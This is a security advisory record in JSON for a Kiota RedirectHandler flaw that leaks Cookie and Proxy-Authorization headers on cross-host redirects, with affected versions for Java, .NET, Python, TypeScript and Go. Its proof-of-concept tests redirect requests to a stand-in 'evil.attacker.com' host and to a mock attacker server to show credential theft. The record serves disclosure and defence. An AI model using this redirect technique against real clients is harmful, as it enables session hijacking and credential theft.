{"id":"GHSA-7j59-v9qr-6fq9","summary":"Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect","details":"### Summary\nThe RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. \n\nThis vulnerability is present in the RedirectHandlers for:\n\nhttps://github.com/microsoft/kiota-dotnet\nhttps://github.com/microsoft/kiota-java\nhttps://github.com/microsoft/kiota-python\nhttps://github.com/microsoft/kiota-typescript\nhttps://github.com/microsoft/kiota-http-go\n\n\n### Details\nOnly the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.\n\nThis is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.\n\nVulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:\n\n```\nboolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());\nboolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());\nif (!sameScheme || !sameHost) {\nrequestBuilder.removeHeader(\"Authorization\");\n// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed\n}\n```\n\n\n### PoC\n1. Clone the repository:\ngit clone --depth 1 https://github.com/microsoft/kiota-java.git\ncd kiota-java\n\n2. Create the PoC test file at:\ncomponents/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java\n\nWith this content:\n```\npackage com.microsoft.kiota.http.middleware;\nimport static org.junit.jupiter.api.Assertions.*;\nimport com.microsoft.kiota.http.KiotaClientFactory;\nimport okhttp3.*;\nimport okhttp3.mockwebserver.*;\nimport org.junit.jupiter.api.Test;\n\npublic class SecurityPoC {\n@Test\nvoid crossHostRedirectLeaksCookies() throws Exception {\nRequest original = new Request.Builder()\n.url(\"http://trusted.example.com/api\")\n.addHeader(\"Authorization\", \"Bearer token\")\n.addHeader(\"Cookie\", \"session=SECRET\")\n.addHeader(\"Proxy-Authorization\", \"Basic cHJveHk6cGFzcw==\")\n.build();\nResponse redirect = new Response.Builder()\n.request(original).protocol(Protocol.HTTP_1_1)\n.code(302).message(\"Found\")\n.header(\"Location\", \"http://evil.attacker.com/steal\")\n.body(ResponseBody.create(\"\", MediaType.parse(\"text/plain\")))\n.build();\nRequest result = new RedirectHandler().getRedirect(original, redirect);\nassertNotNull(result);\nassertEquals(\"evil.attacker.com\", result.url().host());\nassertNull(result.header(\"Authorization\")); // stripped (good)\nassertEquals(\"session=SECRET\", result.header(\"Cookie\")); // LEAKED\nassertEquals(\"Basic cHJveHk6cGFzcw==\", result.header(\"Proxy-Authorization\")); // LEAKED\n}\n\n@Test\nvoid endToEndProof() throws Exception {\nvar evil = new MockWebServer();\nevil.start();\nevil.enqueue(new MockResponse().setResponseCode(200));\nvar trusted = new MockWebServer();\ntrusted.start();\ntrusted.enqueue(new MockResponse().setResponseCode(302)\n.setHeader(\"Location\", evil.url(\"/steal\")));\nOkHttpClient client = KiotaClientFactory.create(\nnew Interceptor[]{new RedirectHandler()}).build();\nclient.newCall(new Request.Builder().url(trusted.url(\"/api\"))\n.addHeader(\"Cookie\", \"session=SECRET\").build()).execute();\ntrusted.takeRequest();\nRecordedRequest captured = evil.takeRequest();\nassertEquals(\"session=SECRET\", captured.getHeader(\"Cookie\")); // LEAKED to evil server\nevil.shutdown();\ntrusted.shutdown();\n}\n}\n```\n\n3. Run the tests:\n./gradlew :components:http:okHttp:test --tests \"com.microsoft.kiota.http.middleware.SecurityPoC\"\n\n4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.\nBoth tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.\n\n### Impact\nThe kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.\n\nAttack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.\n\nImpact:\n- Session hijacking via leaked Cookie headers\n- Corporate proxy credential theft via leaked Proxy-Authorization\n- API key theft via leaked custom auth headers (X-API-Key, etc.)\n\nAll consumers of kiota-java are affected, including Microsoft Graph SDK for Java.","aliases":["CVE-2026-44503","GO-2026-5224","PYSEC-2026-2647"],"modified":"2026-09-10T03:50:46.498025328Z","published":"2026-05-07T01:49:01Z","database_specific":{"cwe_ids":["CWE-601"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-07T01:49:01Z","nvd_published_at":"2026-05-14T16:16:24Z"},"references":[{"type":"WEB","url":"https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44503"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-7j59-v9qr-6fq9"},{"type":"PACKAGE","url":"https://github.com/microsoft/kiota-java"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/microsoft-kiota-http/PYSEC-2026-2647.yaml"},{"type":"WEB","url":"https://pypi.org/project/microsoft-kiota-http"}],"affected":[{"package":{"name":"com.microsoft.kiota:microsoft-kiota-abstractions","ecosystem":"Maven","purl":"pkg:maven/com.microsoft.kiota/microsoft-kiota-abstractions"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1"}]}],"versions":["0.1.2","0.10.0","0.11.0","0.11.1","0.11.2","0.12.0","0.12.1","0.12.2","0.2.0","0.2.1","0.3.0","0.3.1","0.3.2","0.3.3","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.5.0","0.6.0","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.9.0","0.9.1","0.9.2","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j59-v9qr-6fq9/GHSA-7j59-v9qr-6fq9.json"}},{"package":{"name":"Microsoft.Kiota.Abstractions","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.Kiota.Abstractions"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.22.0"}]}],"versions":["1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.10.0","1.10.1","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.13.0","1.13.1","1.13.2","1.14.0","1.15.0","1.15.1","1.15.2","1.16.0","1.16.1","1.16.2","1.16.3","1.16.4","1.17.0","1.17.1","1.17.2","1.17.3","1.17.4","1.18.0","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.20.1","1.21.0","1.21.1","1.21.2","1.21.3","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.7.10","1.7.11","1.7.12","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.9.0","1.9.1","1.9.10","1.9.11","1.9.12","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8","1.9.8-preview","1.9.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j59-v9qr-6fq9/GHSA-7j59-v9qr-6fq9.json"}},{"package":{"name":"microsoft-kiota-http","ecosystem":"PyPI","purl":"pkg:pypi/microsoft-kiota-http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.9"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.2.0","0.2.1","0.2.2","0.2.3","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","1.0.0","1.1.0","1.2.0","1.2.1","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.4","1.4.5","1.4.6","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j59-v9qr-6fq9/GHSA-7j59-v9qr-6fq9.json"}},{"package":{"name":"kiota-typescript","ecosystem":"npm","purl":"pkg:npm/kiota-typescript"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0-preview.100"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j59-v9qr-6fq9/GHSA-7j59-v9qr-6fq9.json"}},{"package":{"name":"github.com/microsoft/kiota-http-go","ecosystem":"Go","purl":"pkg:golang/github.com/microsoft/kiota-http-go"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7j59-v9qr-6fq9/GHSA-7j59-v9qr-6fq9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"}]}